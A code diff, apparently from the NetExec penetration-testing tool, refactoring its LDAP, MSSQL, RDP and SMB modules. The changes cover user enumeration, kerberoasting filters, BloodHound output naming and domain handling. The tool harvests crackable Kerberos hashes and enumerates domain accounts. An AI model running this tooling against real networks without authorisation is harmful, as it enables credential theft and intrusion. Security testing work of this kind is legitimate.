self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -593,6 +552,8 @@ class ldap(connection):
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
try:
|
||||
# We need to try SSL
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
ldaps_url = f"{proto}://{self.target}"
|
||||
self.logger.debug(f"Connecting to {ldaps_url} - {self.baseDN}")
|
||||
self.ldapConnection = ldap_impacket.LDAPConnection(ldaps_url, self.baseDN)
|
||||
@@ -607,11 +568,9 @@ class ldap(connection):
|
||||
|
||||
# Prepare success credential text
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -622,12 +581,15 @@ class ldap(connection):
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
else:
|
||||
error_code = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}",
|
||||
color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red",
|
||||
)
|
||||
if proto == "ldaps":
|
||||
self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.")
|
||||
return False
|
||||
except OSError as e:
|
||||
self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}")
|
||||
@@ -695,7 +657,7 @@ class ldap(connection):
|
||||
attributes = ["objectSid"]
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
answers = []
|
||||
if resp and self.password != "" and self.username != "":
|
||||
if resp and (self.password != "" or self.lmhash != "" or self.nthash != "") and self.username != "":
|
||||
for attribute in resp[0][1]:
|
||||
if str(attribute["type"]) == "objectSid":
|
||||
sid = self.sid_to_str(attribute["vals"][0])
|
||||
@@ -753,37 +715,54 @@ class ldap(connection):
|
||||
return False
|
||||
|
||||
def users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = [
|
||||
"sAMAccountName",
|
||||
"description",
|
||||
"badPasswordTime",
|
||||
"badPwdCount",
|
||||
"pwdLastSet",
|
||||
]
|
||||
"""
|
||||
Retrieves user information from the LDAP server.
|
||||
|
||||
Args:
|
||||
----
|
||||
input_attributes (list): Optional. List of attributes to retrieve for each user.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if len(self.args.users) > 0:
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.users)}")
|
||||
search_filter = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.users)})"
|
||||
else:
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
self.logger.display(f"Total of records returned {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
description = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "description":
|
||||
description = str(attribute["vals"][0])
|
||||
self.logger.highlight(f"{sAMAccountName:<30} {description}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
return
|
||||
# I think this was here for anonymous ldap bindings, so I kept it, but we might just want to remove it
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
|
||||
users = parse_result_attributes(resp)
|
||||
# we print the total records after we parse the results since often SearchResultReferences are returned
|
||||
self.logger.display(f"Total records returned: {len(users):d}")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
for user in users:
|
||||
# TODO: functionize this - we do this calculation in a bunch of places, different, including in the `pso` module
|
||||
parsed_pw_last_set = ""
|
||||
pwd_last_set = user.get("pwdLastSet", "")
|
||||
if pwd_last_set != "":
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
# we default attributes to blank strings if they don't exist in the dict
|
||||
self.logger.highlight(f"{user.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{user.get('badPwdCount', ''):<8}{user.get('description', ''):<60}")
|
||||
|
||||
def groups(self):
|
||||
# Building the search filter
|
||||
@@ -832,32 +811,74 @@ class ldap(connection):
|
||||
self.logger.fail(f"Skipping item, cannot process due to error {e}")
|
||||
|
||||
def active_users(self):
|
||||
# Building the search filter
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
attributes = ["sAMAccountName", "userAccountControl"]
|
||||
if len(self.args.active_users) > 0:
|
||||
arg = True
|
||||
self.logger.debug(f"Dumping users: {', '.join(self.args.active_users)}")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
search_filter_args = f"(|{''.join(f'(sAMAccountName={user})' for user in self.args.active_users)})"
|
||||
else:
|
||||
arg = False
|
||||
self.logger.debug("Trying to dump all users")
|
||||
search_filter = "(sAMAccountType=805306368)" if self.username != "" else "(objectclass=*)"
|
||||
|
||||
resp = self.search(search_filter, attributes, sizeLimit=0)
|
||||
if resp:
|
||||
for item in resp:
|
||||
# default to these attributes to mirror the SMB --users functionality
|
||||
request_attributes = ["sAMAccountName", "description", "badPwdCount", "pwdLastSet", "userAccountControl"]
|
||||
resp = self.search(search_filter, request_attributes, sizeLimit=0)
|
||||
allusers = parse_result_attributes(resp)
|
||||
|
||||
count = 0
|
||||
activeusers = []
|
||||
argsusers = []
|
||||
|
||||
if arg:
|
||||
resp_args = self.search(search_filter_args, request_attributes, sizeLimit=0)
|
||||
users_args = parse_result_attributes(resp_args)
|
||||
# This try except for, if user gives a doesn't exist username. If it does, parsing process is crashing
|
||||
for i in range(len(self.args.active_users)):
|
||||
try:
|
||||
argsusers.append(users_args[i])
|
||||
except Exception as e:
|
||||
self.logger.debug("Exception:", exc_info=True)
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
else:
|
||||
argsusers = allusers
|
||||
|
||||
for user in allusers:
|
||||
user_account_control = user.get("userAccountControl")
|
||||
if user_account_control is not None: # Check if user_account_control is not None
|
||||
account_control = "".join(user_account_control) if isinstance(user_account_control, list) else user_account_control # If it's already a list
|
||||
account_disabled = int(account_control) & 2
|
||||
if not account_disabled:
|
||||
count += 1
|
||||
activeusers.append(user.get("sAMAccountName").lower())
|
||||
else:
|
||||
self.logger.debug(f"userAccountControl for user {user.get('sAMAccountName')} is None")
|
||||
|
||||
if self.username == "":
|
||||
self.logger.display(f"Total records returned: {len(resp):d}")
|
||||
for item in resp_args:
|
||||
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
|
||||
continue
|
||||
sAMAccountName = ""
|
||||
userAccountControl = ""
|
||||
try:
|
||||
if self.username == "":
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
else:
|
||||
for attribute in item["attributes"]:
|
||||
if str(attribute["type"]) == "sAMAccountName":
|
||||
sAMAccountName = str(attribute["vals"][0])
|
||||
elif str(attribute["type"]) == "userAccountControl":
|
||||
userAccountControl = int(attribute["vals"][0])
|
||||
account_disabled = userAccountControl & 2
|
||||
if not account_disabled:
|
||||
self.logger.highlight(f"{sAMAccountName}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Skipping item, cannot process due to error {e}")
|
||||
self.logger.highlight(f"{item['objectName']}")
|
||||
return
|
||||
self.logger.display(f"Total records returned: {count}, total {len(allusers) - count:d} user(s) disabled") if not arg else self.logger.display(f"Total records returned: {len(argsusers)}, Total {len(allusers) - count:d} user(s) disabled")
|
||||
self.logger.highlight(f"{'-Username-':<30}{'-Last PW Set-':<20}{'-BadPW-':<8}{'-Description-':<60}")
|
||||
|
||||
for arguser in argsusers:
|
||||
pwd_last_set = arguser.get("pwdLastSet", "") # Retrieves pwdLastSet directly and defaults to an empty string.
|
||||
if pwd_last_set: # Checks if pwdLastSet is empty or not.
|
||||
timestamp_seconds = int(pwd_last_set) / 10**7 # Converts pwdLastSet to an integer.
|
||||
start_date = datetime(1601, 1, 1)
|
||||
parsed_pw_last_set = (start_date + timedelta(seconds=timestamp_seconds)).replace(microsecond=0).strftime("%Y-%m-%d %H:%M:%S")
|
||||
if parsed_pw_last_set == "1601-01-01 00:00:00":
|
||||
parsed_pw_last_set = "<never>"
|
||||
|
||||
if arguser.get("sAMAccountName").lower() in activeusers and arg is False:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() not in activeusers) and arg is True:
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', '') + ' (Disabled)':<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
elif (arguser.get("sAMAccountName").lower() in activeusers):
|
||||
self.logger.highlight(f"{arguser.get('sAMAccountName', ''):<30}{parsed_pw_last_set:<20}{arguser.get('badPwdCount', ''):<8}{arguser.get('description', ''):<60}")
|
||||
|
||||
def asreproast(self):
|
||||
if self.password == "" and self.nthash == "" and self.kerberos is False:
|
||||
@@ -928,7 +949,7 @@ class ldap(connection):
|
||||
|
||||
def kerberoasting(self):
|
||||
# Building the search filter
|
||||
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
|
||||
searchFilter = "(&(servicePrincipalName=*)(!(objectCategory=computer)))"
|
||||
attributes = [
|
||||
"servicePrincipalName",
|
||||
"sAMAccountName",
|
||||
@@ -979,7 +1000,7 @@ class ldap(connection):
|
||||
|
||||
if mustCommit is True:
|
||||
if int(userAccountControl) & UF_ACCOUNTDISABLE:
|
||||
self.logger.debug(f"Bypassing disabled account {sAMAccountName} ")
|
||||
self.logger.highlight(f"Bypassing disabled account {sAMAccountName} ")
|
||||
else:
|
||||
answers += [[spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation] for spn in SPNs]
|
||||
except Exception as e:
|
||||
@@ -1375,15 +1396,18 @@ class ldap(connection):
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp=timestamp,
|
||||
fileNamePrefix=self.output_filename.split("/")[-1],
|
||||
computerfile=None,
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
)
|
||||
|
||||
self.output_filename += f"_{timestamp}"
|
||||
|
||||
self.logger.highlight(f"Compressing output into {self.output_filename}bloodhound.zip")
|
||||
list_of_files = os.listdir(os.getcwd())
|
||||
with ZipFile(self.output_filename + "bloodhound.zip", "w") as z:
|
||||
for each_file in list_of_files:
|
||||
if each_file.startswith(timestamp) and each_file.endswith("json"):
|
||||
if each_file.startswith(self.output_filename.split("/")[-1]) and each_file.endswith("json"):
|
||||
z.write(each_file)
|
||||
os.remove(each_file)
|
||||
@@ -44,17 +44,7 @@ class BloodHound:
|
||||
# Create an object resolver
|
||||
self.ad.create_objectresolver(self.pdc)
|
||||
|
||||
|
||||
def run(
|
||||
self,
|
||||
collect,
|
||||
num_workers=10,
|
||||
disable_pooling=False,
|
||||
timestamp="",
|
||||
computerfile="",
|
||||
cachefile=None,
|
||||
exclude_dcs=False,
|
||||
):
|
||||
def run(self, collect, num_workers=10, disable_pooling=False, timestamp="", fileNamePrefix="", computerfile="", cachefile=None, exclude_dcs=False):
|
||||
start_time = time.time()
|
||||
if cachefile:
|
||||
self.ad.load_cachefile(cachefile)
|
||||
@@ -82,7 +72,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
elif "container" in collect:
|
||||
# Fetch domains for later, computers if needed
|
||||
self.pdc.prefetch_info(
|
||||
@@ -92,7 +82,7 @@ class BloodHound:
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.do_container_collection(timestamp=timestamp)
|
||||
membership_enum.do_container_collection(timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
elif do_computer_enum:
|
||||
# We need to know which computers to query regardless
|
||||
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
|
||||
@@ -102,7 +92,7 @@ class BloodHound:
|
||||
self.pdc.get_domains("acl" in collect)
|
||||
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
|
||||
trusts_enum = DomainEnumerator(self.ad, self.pdc)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
if do_computer_enum:
|
||||
# If we don't have a GC server, don't use it for deconflictation
|
||||
have_gc = len(self.ad.gcs()) > 0
|
||||
@@ -114,7 +104,7 @@ class BloodHound:
|
||||
computerfile=computerfile,
|
||||
exclude_dcs=exclude_dcs,
|
||||
)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp, fileNamePrefix=fileNamePrefix)
|
||||
end_time = time.time()
|
||||
minutes, seconds = divmod(int(end_time - start_time), 60)
|
||||
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
|
||||
@@ -2,7 +2,7 @@ from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -54,7 +54,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the nxc {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -66,7 +66,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -1,16 +1,12 @@
|
||||
from argparse import _StoreTrueAction
|
||||
|
||||
|
||||
def proto_args(parser, std_parser, module_parser):
|
||||
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=[std_parser, module_parser])
|
||||
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
|
||||
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help="No smb connection")
|
||||
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
no_smb_arg.make_required = [domain_arg]
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
@@ -20,11 +16,11 @@ def proto_args(parser, std_parser, module_parser):
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
|
||||
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
|
||||
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
vgroup.add_argument("--active-users", action="store_true", help="Get Active Domain Users Accounts")
|
||||
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
|
||||
|
||||
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
|
||||
|
||||
+8
-11
@@ -31,7 +31,8 @@ from impacket.tds import (
|
||||
class mssql(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.mssql_instances = []
|
||||
self.domain = None
|
||||
self.domain = ""
|
||||
self.targetDomain = ""
|
||||
self.server_os = None
|
||||
self.hash = None
|
||||
self.os_arch = None
|
||||
@@ -122,23 +123,19 @@ class mssql(connection):
|
||||
return False
|
||||
else:
|
||||
ntlm_info = parse_challenge(challenge)
|
||||
self.domain = ntlm_info["domain"]
|
||||
self.targetDomain = self.domain = ntlm_info["domain"]
|
||||
self.hostname = ntlm_info["hostname"]
|
||||
self.server_os = ntlm_info["os_version"]
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances),)
|
||||
self.db.add_host(self.host, self.hostname, self.targetDomain, self.server_os, len(self.mssql_instances),)
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
if self.domain is None:
|
||||
self.domain = ""
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})")
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return True
|
||||
|
||||
@reconnect_mssql
|
||||
@@ -189,7 +186,7 @@ class mssql(connection):
|
||||
raise
|
||||
self.check_if_admin()
|
||||
self.logger.success(f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
@@ -222,7 +219,7 @@ class mssql(connection):
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
@@ -261,7 +258,7 @@ class mssql(connection):
|
||||
self.check_if_admin()
|
||||
out = f"{self.domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", self.domain, self.logger, self.config)
|
||||
|
||||
@@ -2,7 +2,7 @@ from pathlib import Path
|
||||
from sqlalchemy import MetaData, func, Table, select, insert, update, delete
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -77,7 +77,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -89,7 +89,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
@@ -243,7 +243,7 @@ class rdp(connection):
|
||||
self.mark_pwned(),
|
||||
)
|
||||
)
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -289,7 +289,7 @@ class rdp(connection):
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -323,7 +323,7 @@ class rdp(connection):
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
@@ -3,7 +3,7 @@ from pathlib import Path
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
# IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
@@ -57,7 +57,7 @@ class database:
|
||||
print(
|
||||
f"""
|
||||
[-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
|
||||
[-] This is probably because a newer version of nxc is being ran on an old DB schema
|
||||
[-] This is probably because a newer version of nxc is being run on an old DB schema
|
||||
[-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
|
||||
[-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
|
||||
)
|
||||
@@ -69,7 +69,7 @@ class database:
|
||||
# due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
|
||||
# Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
|
||||
# this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
|
||||
except IllegalStateChangeError as e:
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Error while closing session db object: {e}")
|
||||
|
||||
def clear_database(self):
|
||||
|
||||
+36
-23
@@ -211,8 +211,23 @@ class smb(connection):
|
||||
# no ntlm supported
|
||||
self.no_ntlm = True
|
||||
|
||||
self.domain = self.conn.getServerDNSDomainName() if not self.no_ntlm else self.args.domain
|
||||
self.hostname = self.conn.getServerName() if not self.no_ntlm else self.host
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
if not self.no_ntlm:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.hostname
|
||||
|
||||
self.domain = self.targetDomain if not self.args.domain else self.args.domain
|
||||
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
self.targetDomain = self.hostname
|
||||
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.logger.extra["hostname"] = self.hostname
|
||||
|
||||
@@ -227,9 +242,6 @@ class smb(connection):
|
||||
self.os_arch = self.get_os_arch()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
if not self.domain:
|
||||
self.domain = self.hostname
|
||||
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
@@ -245,15 +257,10 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error logging off system: {e}")
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
if self.args.local_auth:
|
||||
self.domain = self.hostname
|
||||
|
||||
def print_host_info(self):
|
||||
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
|
||||
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.domain}) ({signing}) ({smbv1})")
|
||||
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})")
|
||||
return True
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
@@ -309,7 +316,7 @@ class smb(connection):
|
||||
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth and not self.args.delegate:
|
||||
if not self.args.local_auth and self.username != "" and not self.args.delegate:
|
||||
add_user_bh(self.username, domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
@@ -372,7 +379,7 @@ class smb(connection):
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}"
|
||||
self.logger.success(out)
|
||||
|
||||
if not self.args.local_auth:
|
||||
if not self.args.local_auth and self.username != "":
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
|
||||
@@ -439,7 +446,7 @@ class smb(connection):
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_pwned()}"
|
||||
